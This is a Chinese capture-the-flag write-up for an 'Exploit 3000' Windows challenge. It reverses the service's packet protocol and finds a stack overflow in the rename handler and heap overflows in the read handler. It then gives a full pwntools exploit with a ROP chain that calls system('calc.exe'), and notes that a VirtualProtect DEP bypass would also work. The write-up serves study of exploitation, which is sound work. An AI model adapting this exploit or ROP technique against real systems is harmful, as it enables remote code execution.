Exploit 3000 writeup

0x00 概述

个人感觉这道题主要难在逆向，各种函数还是比较复杂的，而且还有一个**找到尽可能多的漏洞**的提示，让我分析的时候感觉很难受，生怕错过了一些漏洞而导致拿不到分（虽然到最后也没找到什么漏洞啊 T T）。挖到漏洞之后 exploitMe.dll 里面提示的很明显了，就是逼着你用 ROP，你需要什么都给你，最后给我把 exp 写出来。不知道是不是我的方法不对，后面的任务简直是体力活啊，累坏了 T T

果然是我的方法不对。真心对 Windows 不熟啊 T T

0x01 结构

我将被 striped 掉的函数名猜测还原了一下，具体的看 idb 就行了。其实我原来把每个函数的变量名都还原了，但是分析的过程中我那不争气的电脑突然就 Kernel Panic 了，所有变量名和函数名都没保存下来，当时我的内心是崩溃的。。

于是就没有恢复变量名了，如果要用我的 idb 分析的同学要自己再费点精力完善了。

先来看一下程序中的一些结构：

socket 堆结构如下：

```
+------------+  <-- 0
| login_flag |
+------------+  <-- 4
|     fd     |
+------------+  <-- 8
|    addr    |
+------------+  <-- 24
|  username  |  <-- len(username) < 99
+------------+
|  filepath  |  <-- $TEMP/md5(username)
+------------+
```

这个程序涉及到文件操作，文件的结构如下：

```
+------------+  <-- 0
|   "fnoc"   |
+------------+  <-- 4
|    len1    |
+------------+  <-- 8
|    len2    |
+------------+  <-- 12
| md5(data1) |
+------------+
|  data_all  |
+------------+
```

接下来看一下需要发送/接收的包的结构和对应的含义

Packet 1

首先要发一个选择选项值的包。堆结构如下：

```
+------------+  <-- 0
|   "cesi"   |
+------------+  <-- 4
| option_num |
+------------+  <-- 6
|   length   |  <-- length 是指下一个包允许输入的长度，也是下一个堆的大小
+------------+  <-- 8
```

0 - 4 五个选项分别代表：

- 0 - 登录
- 1 - 写文件
- 2 - 重命名
- 3 - 读文件
- 4 - 取模块地址等

重命名要求在 socket 的堆中存有文件名，也就是说必须先执行一次写文件。

Packet 2

紧接着第二个包要输入数据，对于不同的选项输入的数据有不同的含义

接收数据的堆结构如下：

```
+------------+  <-- 0
|  data_len  |
+------------+  <-- 4
|    data    |
+------------+  <-- length
```

如果是登录包那么 data_length 分为两个 _WORD，前一个是 username 的长度，后一个是 password 的长度。

其中 1 - 4 四个选项中的 data 分别表示：

- 1 - 要写入的文件内容
- 2 - 新文件名

- 3 - 要读的文件名
- 4 - 模块中的函数名

0x02 漏洞

第一步是登录，用户名随意，密码为 failed，硬编码在函数中，看一下我 idb 中的 auth 函数即可

在**重命名文件**的函数中存在一处栈溢出，同时还伴随着堆溢出：

```
memcpy(&pszPath[v10], (const void *)(a3 + 4), *(_DWORD *)
a3);
```

大约是 45 行左右。这句话中 `memcpy` 的 dest `&pszPath[v10]` 是在栈上的地址，距离栈底的距离是固定的，而 `*(_DWORD *)a3` 表示要复制长度，这个值是来自数据包中的 len，也就是用户自己输入的。此处未做 *a3 的长度检测因此可溢出栈空间，但是要稳定地覆盖到 eip 还必须知道文件名的长度，具体的 exp 后面再说。

另外在**读文件**的函数中也存在一处堆溢出：

```
fread(v14, 1u, v13, v15);
v17 = *((_DWORD *)v14 + 1);

v18 = malloc(*((_DWORD *)v14 + 2));


memcpy(v18, (char *)v14 + 48, v17);
```

文件内容中的 `*((_DWORD *)v14 + 1)` 是大于 `*((_DWORD *)v14 + 2)` 的，所以会导致堆溢出。

本来觉得这里会有一个任意文件读取的逻辑漏洞，但是很遗憾没找到，不知道到底有没有?

0x03 Exploit

两个堆溢出一个栈溢出毫无疑问会选择栈溢出，更何况 exploitMe.dll 里面给了

anything you want

首先在常规情况下执行选项 4 会得到保存临时文件的文件地址以及 exploitMe.dll 的基址，有了文件名长度就可以在栈溢出中精确地控制到 eip，有了模块的基址就可以在模块中任意 ROP

看到模块中的 helper，各种 ropgadget 应有尽有，最重要函数的 GetModuleHandle 和 GetProcAddress 也具备了，那么接下来就是写 rop

写 rop 很辛苦的呐，往事不堪回首，具体细节我也不想多说了，看代码就行了吧。。

代码中的所有硬编码地址都是用于编程参考的，要么是会在运行过程中被真实值替换，要么就是没有用到，总之在 XP 和 Win7 上都利用成功了，不信你试试，不行再找我。

```
__author__ = 'w3b0rz'

from pwn import *

# p = remote('192.168.32.190', 8888)
# p = remote('172.16.212.136', 8888)
p = remote('10.37.129.3', 8888)

# Login
opt = 0
length = 0x10
p.write('cesi{}{}'.format(p32(opt), p32(length)))
payload = '\x04\x00\x06\x00' + "user"
payload += 'failed'
p.write(payload.ljust(length, '\x00'))
# print p.recv().encode('hex')
p.recv()

# Get Addr
opt = 4
length = 0x20
p.write('cesi{}{}'.format(p32(opt), p32(length)))
m_len = 17
payload = p32(m_len) + 'GetGlobalFunction'
p.write(payload.ljust(length, '\x00'))
```

```
opt = 4
length = 0x20
p.write('cesi{}{}'.format(p32(opt), p32(length)))
m_len = 9
payload = p32(m_len) + 'GetStatus'
p.write(payload.ljust(length, '\x00'))
# print p.recv().encode('hex')
p.recv()

p.recvuntil('Valid Module ')
dll_addr = int(p.recv(10), 16)
p.recvuntil('Path:')
path = p.recv()
path_len = len(path)
print hex(dll_addr)
print path_len

opt = 1
length = 0x20
p.write('cesi{}{}'.format(p32(opt), p32(length)))
payload = p32(0x04) + "TEST"
p.write(payload.ljust(length, "A"))

# print p.recv().encode('hex')
p.recv()


# ROP Exp
opt = 2
length = 0x300
p.write('cesi{}{}'.format(p32(opt), p32(length)))

payload = p32(0x30F-path_len)
payload += (0x177-path_len) * "A"

### Data Segment
payload += "msvcrt.dll\x00\x00"  # msvcrt.dll           A
ddr: 0x0012fc48
payload += "AAAA" * 0x10         # Not used            A
ddr: 0x0012fc54

payload += p32(dll_addr+0x1297)  # mov eax, esp        A
ddr: 0x0012fc94  <----+
```

```
payload += p32(dll_addr+0x129A)  # sub eax, 50h          A
ddr: 0x0012fc98        |
# eax: 0x0012fc48 -> msvcrt.dll
                       |
payload += p32(dll_addr+0x12BB)  # add ebx, 10h          A
ddr: 0x0012fc9c        |
# ebx: 0x0012fcf0
                       |
payload += p32(dll_addr+0x12BF)  # mov [ebx], eax        A
ddr: 0x0012fca0        |
# [0x0012fcf0] = 0x0012fc48 -> msvcrt.dll
                       |
payload += p32(dll_addr+0x12B8)  # mov eax, ebx          A
ddr: 0x0012fca4        |
payload += p32(dll_addr+0x12A2)  # sub eax, 04h          A
ddr: 0x0012fca8        |
payload += p32(dll_addr+0x12A9)  # mov ebx, eax          A
ddr: 0x0012fcac        |
# ebx: 0x0012fcec
                       |
payload += p32(dll_addr+0x1264)  # pop eax               A
ddr: 0x0012fcb0        |
payload += p32(dll_addr+0x8004)  # GetModuleHandle       A
ddr: 0x0012fcb4        |
payload += p32(dll_addr+0x1268)  # mov eax, [eax]        A
ddr: 0x0012fcb8        |
# eax: &GetModuleHandle
                       |
payload += p32(dll_addr+0x1261)  # mov esp, ebx          A
ddr: 0x0012fcbc --+    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fcc0   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fcc4   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fcc8   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fccc   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fcd0   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
ddr: 0x0012fcd4   |    |
payload += p32(0xdeadbeef)       # Cannot use            A
```

```
ddr: 0x0012fcd8   |   |
### Start here
                  |   |
payload += p32(dll_addr+0x12AC)  # mov ebx, esp         A
ddr: 0x0012fcdc   |   |
# ebx: 0x0012fce0
                  |   |
payload += p32(dll_addr+0x128F)  # sub esp, 50h         A
ddr: 0x0012fce0 **|***+
payload += p32(0xdeadbeef)       # Cannot use          A
ddr: 0x0012fce4   |
payload += p32(0xdeadbeef)       # Cannot use          A
ddr: 0x0012fce8   |
payload += p32(dll_addr+0x1270)  # call eax            A
ddr: 0x0012fcec <-+
payload += p32(0x0012fc54)       # Change to Func      A
ddr: 0x0012fcf0
payload += p32(dll_addr+0x12BB)  # add ebx, 10h        A
ddr: 0x0012fcf4
payload += p32(dll_addr+0x12BB)  # add ebx, 10h        A
ddr: 0x0012fcf8
payload += p32(dll_addr+0x12BB)  # add ebx, 10h        A
ddr: 0x0012fcfc
payload += p32(dll_addr+0x12BB)  # add ebx, 10h        A
ddr: 0x0012fd00
payload += p32(dll_addr+0x12BB)  # add ebx, 10h        A
ddr: 0x0012fd04
# ebx: 0x0012fd3c
payload += p32(dll_addr+0x12BF)  # mov [ebx], eax      A
ddr: 0x0012fd08
# [0x0012fd3c] = 0x77be0000 -> Module(msvcrt.dll)
payload += p32(dll_addr+0x1297)  # mov eax, esp        A
ddr: 0x0012fd0c
# eax: 0x0012fd10
payload += p32(dll_addr+0x128B)  # add eax, 50h        A
ddr: 0x0012fd10
# eax: 0x0012fd60 -> system
payload += p32(dll_addr+0x125A)  # add ebx, 04h        A
ddr: 0x0012fd14
# ebx: 0x0012fd40
payload += p32(dll_addr+0x12BF)  # mov [ebx], eax      A
ddr: 0x0012fd18
# [0x0012fd40] = 0x0012fd60 -> system
```

```
payload += p32(dll_addr+0x125A)  # add ebx, 04h          A
ddr: 0x0012fd1c
payload += p32(dll_addr+0x125A)  # add ebx, 04h          A
ddr: 0x0012fd20
# ebx: 0x0012fd48
payload += p32(dll_addr+0x129E)  # sub eax, 10h          A
ddr: 0x0012fd24
# eax: 0x0012fd50 -> calc.exe
payload += p32(dll_addr+0x12BF)  # mov [ebx], eax        A
ddr: 0x0012fd28
# [0x0012fd48] = 0x0012fd50 -> calc.exe
payload += p32(dll_addr+0x1264)  # pop eax               A
ddr: 0x0012fd2c
payload += p32(dll_addr+0x8000)  # GetProcAddress        A
ddr: 0x0012fd30
payload += p32(dll_addr+0x1268)  # mov eax, [eax]        A
ddr: 0x0012fd34
payload += p32(dll_addr+0x1270)  # call eax              A
ddr: 0x0012fd38
payload += p32(0x77be0000)       # Change to Module      A
ddr: 0x0012fd3c
payload += p32(0x0012fd50)       # Change to system      A
ddr: 0x0012fd40
payload += p32(dll_addr+0x1270)  # call eax              A
ddr: 0x0012fd44
payload += p32(0x0012fd50)       # Change to calc        A
ddr: 0x0012fd48
payload += "\x00\x00\x00\x00"    # Not used              A
ddr: 0x0012fd4c
###Data Segment
payload += "calc.exe"            # calculator            A
ddr: 0x0012fd50
payload += "\x00\x00\x00\x00"    # Not used              A
ddr: 0x0012fd58
payload += "\x00\x00\x00\x00"    # Not used              A
ddr: 0x0012fd5c
payload += "system\x00\x00"      # system                A
ddr: 0x0012fd60

p.write(payload.ljust(length, "A"))

p.interactive()
```

0x04 打脸。。

看了 AK 所有题目大神的 exp 才发现自己的方法好笨啊。 exploitMe.dll 里给了 VirtualProtect 这个函数，我真不知道这个函数可以直接关掉 DEP，虽然在印象中确实有**用 ROP 关掉 DEP 比直接写 ROP 更方便**的印象，但当时也没有继续去了解 （又欺负我不熟悉 Windows T T ）

所以 exp 的正确解法应该是调用 exploitMe.dll 里的 VirtualProtect 关掉 DEP，然后利用 `jmp esp` 这样的 gadget 直接执行通用 shellcode

顺带一提， Linux 下的可以做到改变页权限的类似函数是 mprotect

不过我这种方法也是能成功的，就是更麻烦一些。我的思路是用 GetModuleHandle 和 GetProcAddress 来找到 system() 函数的地址，然后执行 calc.exe